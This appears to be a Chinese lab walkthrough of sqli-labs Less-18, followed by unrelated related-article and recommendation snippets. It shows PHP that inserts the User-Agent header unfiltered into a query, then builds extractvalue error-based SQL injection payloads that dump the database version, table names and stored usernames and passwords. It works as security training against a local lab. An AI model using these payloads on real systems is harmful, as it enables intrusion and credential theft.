查看源码

$uagent = $_SERVER['HTTP_USER_AGENT'];

…………

$uname = check_input($_POST['uname']);

$passwd = check_input($_POST['passwd']);

…………

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_uagentquery($insert);

由源码可以看出来,对$uname和$passwd都进行了过滤,所以这里不存在注入点,但是下面的 INSERT INTO 语句中插入了$uagent,$IP和$uname,也与数据库进行了交互,并且由源码可以看出来,$uagent并没有进行过滤,所以可以尝试对$uagent进行注入

使用bp抓包得到下面数据

POST /sqli-labs-master/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/sqli-labs-master/Less-18/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Connection: close
Cookie: 24b16fede9a67c9251d3e7c7161c83ac_ci_session=ils5p93b6rohhin07b46h1s2hmp08gvq
Upgrade-Insecure-Requests: 1 uname=admin&passwd=admin&submit=Submit

数据包中的User-Agent:后面的值就是源码中传入的$uagent,所以我们可以尝试修改$uagent的值,来找出注入点

User-Agent:'

报错

User-Agent:"(双引号)

不报错

User-Agent:' #

(测试后,使用#,--+,%23都不可以注释掉后面的 ' )

User-Agent:' ' (两个单引号)

既然不可以注释点后面的 ' ,那就在加一个点 ' 使其闭合

然后构造语句,使用extractvalue报错查询

' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '

为了便于理解,我们就是用下面的方式闭合

查版本

' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 

查库

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1

查表

' and extractvalue(1,concat(0x7e,(select  table_name from information_schema.tables where table_schema='security'),0x7e)) and ''='

返回结果不能超过一条

解决方法一:查所有表

' and extractvalue(1,concat(0x7e,(select group_concat( table_name) from information_schema.tables where table_schema='security'),0x7e)) and '1'='1

解决方法二:限制查某一个表(使用LIMIT )

' and extractvalue(1,concat(0x7e,(select  table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and '1'='1

查询字段内容

' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ),0x7e)) and '1'='1 

extractvalue查询和updataxml类似,只可以回显32位

extractvalue报错注入的更多相关文章

  1. 深入浅出带你玩转sqlilabs(四)-updatexml(),floor(),extractvalue()报错注入

    SQL各种参数类型下的注入测试 数字型-sqlilabs less2 前面文章已演示过 字符型-sqlilabs less1 前面文章已演示过 搜索型-自写测试 如: www.test.com/ind ...

  2. updatexml , extractvalue 报错注入

    过滤了union, < ,> = 空格过滤,()没有被过滤 updatexml没有被过滤 那么就不能用布尔类型注入 数据库名 username=admin'or(updatexml(1,c ...

  3. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  4. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  5. sql报错注入:extractvalue、updatexml报错原理

    报错注入:extractvalue.updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue.updatexml 名称 描述 Ext ...

  6. updatexml和extractvalue函数报错注入

    updatexml()函数报错注入 updatexml (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XM ...

  7. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  8. 【菜鸟学注入】之MySQL报错注入详解

    本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入 ...

  9. 渗透之路基础 -- SQL进阶(盲注和报错注入)

    SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...

随机推荐

  1. [linux] 手机Deploy linux 桌面中文乱码

    在手机上安装Deploy之后 通过VNC连接桌面,中文出现乱码 是方块乱码 这个是字体缺失造成的 安装字体就好了 我安装的是kali 桌面是LXDE sudo apt-get install font ...

  2. [蓝桥杯][基础训练]Huffuman树

    Description Huffman树在编码中有着广泛的应用.在这里,我们只关心Huffman树的构造过程. , p1, …, pn-1},用这列数构造Huffman树的过程如下:1. 找到{pi} ...

  3. vue 循环多个标签,点击标签变色,再点击取消,可以同时点击多个

    效果: <div class="relFacilityTitcon"> <i v-for="(item,index) in facilityList&q ...

  4. Codeforces Round #618 (Div. 1)B(几何,观察规律)

    观察猜测这个图形是中心对称图形是则YES,否则NO #define HAVE_STRUCT_TIMESPEC #include<bits/stdc++.h> using namespace ...

  5. P&R --From 陌上风骑驴看IC

    FLOORPLAN: 做好floorplan要掌握哪些知识技能 遇到floorplan问题,大致的debug步骤和方法有哪些 如何衡量floorplan的QA 以上是驴神提的五大点问题.鄙人狠狠地反驳 ...

  6. python练习:编写一个程序,检查3个变量x,y,z,输出其中最大的奇数。如果其中没有奇数,就输出一个消息进行说明。

    python练习:编写一个程序,检查3个变量x,y,z,输出其中最大的奇数.如果其中没有奇数,就输出一个消息进行说明. 笔者是只使用条件语句实行的.(if-else) 重难点:先把三个数进行由小到大的 ...

  7. 离线安装paramiko以及pysftp linux,windows

    离线安装 paramiko python37 pip download -d ./dependency -r requirements.txt pip install --no-index --ign ...

  8. 从csv文件里取数据作为请求参数,和把返回数据放到一个csv文件

    本来想把登陆后的token放到数组里,下一个参数用,但是貌似不支持数组,暂时先这样用了,并不麻烦,还很方便. 1.添加线程组等必要的东东后,添加csv配置器 2.进行设置 说明:csv文件设置不能读取 ...

  9. 2019 EIS高校安全运维赛 misc webshell

    webshell 第一种思路: 1.菜刀都是http协议,发的包都是POST包,所以在显示过滤器下命令:http.request.method==POST 2.右键,追踪tcp流,发现是蚁剑流量 3. ...

  10. C:产生随机数

    函数说明 #include <time.h> time_t time(time_t *t); 功能:获取当前系统时间 参数:常设置为NULL 返回值:当前系统时间, time_t 相当于l ...